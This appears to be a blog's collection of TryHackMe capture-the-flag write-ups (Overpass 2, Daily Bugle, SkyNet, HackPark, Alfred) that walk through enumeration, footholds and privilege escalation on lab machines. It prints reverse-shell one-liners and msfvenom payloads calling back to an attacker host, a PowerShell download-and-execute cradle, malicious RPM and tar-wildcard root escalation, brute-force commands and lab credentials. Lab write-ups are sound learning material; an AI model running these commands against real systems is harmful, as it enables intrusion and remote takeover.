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Category: TryHackMe

THM – Overpass 2

Gaining Foothold

ssh james@[TARGET IP] -p 2222
Password: november16

Privilege Escalation

Option 1: Sudo

I tried to sudo but the credentials for James doesn’t work.

Password: whenevernoteartinstant

Previously I have cracked the password for these users but the credentials does not work as well


Option 2: SUID

I tried to find the SUID binaries. There is one uncommon binary in /home/james/.suid_bash When I execute the binary, there is a bash running but the user was still james. But we can elevate the privilege but running with -p

That’s how we get the root user.

THM – Daily Bungle

Amazing Spider-Man: The Daily Bugle (2020) #2 | Comic Issues | Marvel

Lab Stats

Time: 6 hours

Hint taken: 0

Difficulty: Hard


I accessed the web server. This is a blog-like application showing an item that “Spider-man” rob the bank.

Looking at the HTML, it shows that Joomla! is being used.

At first look, I am trying to find the Joomla! version in the web pages – but does not seems to have the info.

I googled for more information and found out that we can see the Joomla! version by looking at the language.

Web Enumeration

Navigate to robots.txt

I tried navigating all the directories in robots.txt. The /administrator was promising because it shows an admin panel.

But I need to find the credentials for Super User first.

Network scanning

  • ssh (22)
  • http (80)
  • mysql (3306)

It seems like the main attack vectors are the web server and database.

Gaining Foothold (1)

I tried a few SQL Injection payload in user login feature. But it does not work.

So I googled for exploit for Joomla! 3.7.0

Note: This requires python2

Found table:', 'fb9j5_users') Found user', ['811', 'Super User', 'jonah', '', '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm', '', '']) (' - Extracting sessions from', 'fb9j5_session')

I will need to crack the password. First, I try to see what is the hash algorithm used for the password using online hash identifier (

I tried to use john to crack the password:
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt jonah.txt

So the password is spiderman123

I login on as jonah in the admin panel.

Getting Reverse Shell from Joomla!

This took more time.

After googling, I discover that we can change the index.php file in the template to php reverse shell.

Gaining Foothold (2)

I struggle to find the user flag manually. So I decided to run some Linux Enumeration scripts.

I used python command to spawn:
python -c 'import pty; pty.spawn("/bin/sh")'


I went through my Linux PE checklist and none of the checks is working.

I saw we have an account:

  • jjameson:x:1000:1000:Jonah Jameson:/home/jjameson:/bin/bash

In addition, I tried to check a few things:

  • Trying all the SUID binaries to see if I can escalate privileges -> Doesn’t work
  • Looking for Kernel Exploits -> Doesn’t work

Then during the linpeas enumeration, I saw a database password was discovered.

  • Test if mysql has any exploit and whether it is running as root -> Doesn’t work
    • I tried to login as root: mysql -u root -p -D joomla
    • But there are nothing useful there.
  • I tried looking for Linux exploits and sudo exploits -> Doesn’t work
  • No progress. I am going to login as jjameson in SSH. I tried bruteforcing but it does not work.

How I realize my mistakes?

At this point, I have not made any progress other than finding the database password.

MYSQL Password
user: root
pw: nv5uz9r3ZEDzVjNu

So I read through the checklist of other hackers.

This helps alot:

I realized my mistake. I should check if the discovered passwords are being reused for SSH and not rely on brute-forcing only.

SSH – Login Checks Methodology

  1. Check if whether the known passwords are reused? Do this for every new password discovered during enumeration
  2. If not, then try to bruteforce.

I took 4 hours to figure out that the database password is reused as jjameson ssh password.

Privilege Escalation

Now I can login as jjameson.

The first thing I do is to run sudo -l

I saw that this account can run sudo yum.

Yum PE

Good article:

First I need to install fpm and rpm.

git clone
cd fpm
sudo gem install fpm
sudo apt-get install rpm

Then create a file with the payload:


bash -i >& /dev/tcp/[ATTACKER IP]/3333 0>&1

Then create the package with

fpm -n root -s dir -t rpm -a all --before-install .

Start a nc listener at port 3333.

Download the package in the target machine and install:

sudo yum localinstall -y [package name].rpm

In the listener, we will receive connection as root user.

THM- SkyNet


Network Enum

I ran a nmap scan on the target machine.

  • ssh (22): Worth exploring
  • http (80): Web server is running
  • pop (110): Maybe an email server is running?
  • netbios-ssn (139): Worth exploring
  • imap (143): Maybe an email server is running?
  • microsoft-ds (445): SMB is worth exploring

Web Enum

I ran gobuster to spider the directory in the web server

gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 40

From the scan result, I see these are directories found:

  • /admin
  • /css
  • /js
  • /config
  • /ai
  • /squirrelmail (this will be interesting to explore)

Most of the directories are restricted.

The squirrelmail page is working but I will need the login credentials.

I don’t have the credentials at the moment. So now the goal is to find out the email credential.

Service Enum

Now I am going to look at the SMB service running at port 445.

I ran the command to connect to the SMB’s anonymous share

smbclient //[TARGET IP]/anonymous

The files look promising to find a clue on how to get the email credentials.

I ran another command to get the content of the SMB share:

smbget -R smb://[TARGET IP]/anonymous

After inspecting the content, I found a list of possible passwords (maybe they belong to Miles?).

Using Burp Intruder, I brute-force the password with username (milesdyson).

Eventually, the password for milesdyson is cyborg007haloterminator

Once I login as milesdyson, I saw a bunch of emails. After reading one of the email, I saw that the SMB password for milesdyson was leaked.

To summarize, these are the found credentials:

Username: milesdyson

Email Password: cyborg007haloterminator

SMB Password: )s{A&2Z=F^n_E.B`

I tried to connect to the SMB milesdyson share with the username and password:

smbclient //[TARGET IP]/milesdyson -U=milesdyson

Then I manage to login to milesdyson share.

At first glance, most of the files are some machine learning pdf.

I went into the notes folder. There are a bunch of markdowns.

But I spotted a textfile named as “important.txt”.

Inside this important.txt file, I saw that milesdyson have a custom CMS with the link “

Spider the directory in the CMS.

Initially I had an issue because I didn’t put the backslash for the URL.

After I have done so, I ran this command:

gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 40

  • /administrator was found.

Navigate to this directory and I can see a CMS named “Cuppa CMS”.


To summarize, I found three possible ways to gain a foothold into the system.

  • ssh
  • squirrelmail
  • Cuppa CMS


I tried to brute-force using hydra with username

hydra -l milesdyson -P /usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-500.txt [TARGET IP] ssh

But this does not work.


I searched for possible exploits for squirrelmail (version 1.4.23).

There is an interesting exploit for RCE.

I followed the steps but the exploit does not work.

Cuppa CMS

I struggle to find the credentials to login to Cuppa CMS (tried with milesdyson credentials to see if password is reused).

I searched for Cuppa CMS exploit and this seems promising

Basically, we can call a remote file without login to Cuppa CMS.

The examples given in the exploit


Now I started a python server so that the CMS can call my shell files.

I tried a few ways to execute a shell.

For example, a basic php web shell with CMD param. But this does not work.

I look for more information about the configuration file.

It seems like there is a file extension restriction. For example, txt and jpeg are allowed. But php is not allowed.

I tried to create a php reverse shell and then change the magic number of the file to jpeg using hexeditor. This will make the Linux machine interpret the file as a jpeg file.

I started the nc listener.

I ran the command to call the php reverse shell:

This works and I have shell to the machine.

Immediately I enter the id and whoami command to check what is this account.

This account is “www-data”

I can also find the usr flag in milesdyson home directory

Now I gained a foothold, I will need to escalate privilege.

Privilege Escalation

I tried to use sudo but there is an error. It seems like the shell is “jailed”.

Basically we need to spawn a tty shell. (Link:

I used python command to spawn:
python -c 'import pty; pty.spawn("/bin/sh")'

Now I can sudo but this seems useless since I don’t know the password of the current user “www-data user”.

Then I ran some Linux enumeration scripts ( and

It seems like the possible vectors are the crontab and the suid binaries.

I tried with the suid binaries and struggled because of the sudo issue where I don’t know the password. So much time wasted here

So I looked at the crontab. It seems like there is a job executed by the root user.

I looked at the content of

cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *

So the root user cd into /var/www/html and then perform a backup.

Well I think I am in control of the /var/www/html folder.

I looked at the Linux PE checklist again and found a similar attack vector with the use of wildcard in tar.

I should follow the exact steps. I observed that I miss out one step.

I created two files:

touch /home/user/--checkpoint=1 
touch /home/user/--checkpoint-action=exec=shell.elf

Then I created the shell.elf in attacker machine and download in target machine.
msfvenom -p linux/x64/shell_reverse_tcp LHOST=[ATTACKER IP] LPORT=3333 -f elf -o shell.elf

Now I started the listener at the correct port and wait.

After a few minutes, there are no connection from target machine.

This is when I took a hint and saw that there is something wrong with my shell file

I changed the command to:

touch "/home/user/--checkpoint-action=exec=sh shell.elf"

This works and I managed to connect as root.

Look for the root.txt under root directories.

THM – HackPark: Hacking Windows with Hydra, RCE & WinPEAS

Navigate to the Application and explore the features. You will notice a Login page.

We need to identify a possible username for brute-forcing the credentials. When we look at the blog post, we can see an author named “admin” or “administrator”.

Using Burp Intruder, we can brute-force the password using Seclist’s common credentials:


We found the password: 1qaz2wsx

When we login, we can identify the version of blogengine.

Search for exploits in exploit-db. Choose the verified exploit:

Save the file as PostView.acsx

Once the file is uploaded, we can see the file in File manager.

Start a nc listener in the attacker machine: nc -lvnp 4444

Navigate to <Target Machine>/?theme=../../App_Data/files

Once you gain initial access to the server, we will pivot from netcat to a more stable shell.

Generate a reverse shell exe;

msfvenom -p windows/shell_reverse_tcp LHOST=[Attacker IP] LPORT=3333 -f exe -o shell-x86.exe

Download the shell and Winpeas to C:\Windows\Temp\ (this is world writable).

We can run winPEAS.bat and we can see the uncommon service “Windows Scheduler” running.

cd to C:\PROGRA~2\SYSTEM~1

Examine the files in the directory to see if there are any useful information.

In the Events folder, we can see that Message.exe is being executed by Administrator periodically.

Replace the Message.exe with another reverse shell payload. Rename the existing Message.exe to old_message.exe

In Attacker machine, generate the reverse shell:

msfvenom -p windows/shell_reverse_tcp LHOST=[ATTACKER IP] LPORT=5555 -f exe -o Message.exe

Download the Message.exe (reverse shell) to the folder:

powershell -c wget "http://[ATTACKER IP]/Message.exe" -outfile "Message.exe"

cd C:\Users\Administrator\Desktop and we can see the root.txt flag.

THM – Alfred: Exploiting Jenkins



Run nmap [Target Machine IP]

There are 3 ports open (TCP connect).

Open [Target Machine IP]:80 and [Target Machine IP]:8080.

[Target Machine IP]:8080 is a login page to Jenkins. Google for the default password of Jenkins (admin:admin).

Once you login, you will see a build. If you look at the build job, you can see that this is a Windows machine. Configure the job and insert the reverse shell to the build command:

powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port

Download this powershell in attacker machine and host the file with python server (port 8888).

Run nc -lvnp 4444 in attacker machine. Then trigger a build in this job.

We will get a shell from the Target machine. Look for the user.txt (usually it is in the one of the user’s document or desktop folder).


e text contains:

Upgrade shell

Generate a payload

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[ATTACKER IP] LPORT=3333 -f exe -o shell.exe

Open the msfconsole in attacker machine and run these commands (line by line):

use exploit/multi/handler 
set PAYLOAD windows/meterpreter/reverse_tcp 
set LPORT 3333

Download the shell.exe into the Target machine using Jenkins.

powershell "(New-Object System.Net.WebClient).Downloadfile('http://[ATTACKER IP]:8888/shell.exe','shell.exe')"

In the machine, run Start-Process shell.exe to upgrade the shell.

If this is successful, you will see the output in the msfconsole

Privilege Escalation with Access Token

Find out what is the privilege of the user using whoami /priv

In msfconsole, load incognito and run list_tokens -g to find out the available tokens.

Run impersonate_token “BUILTIN\Administrators” command to impersonate the Administrators token


Start a shell.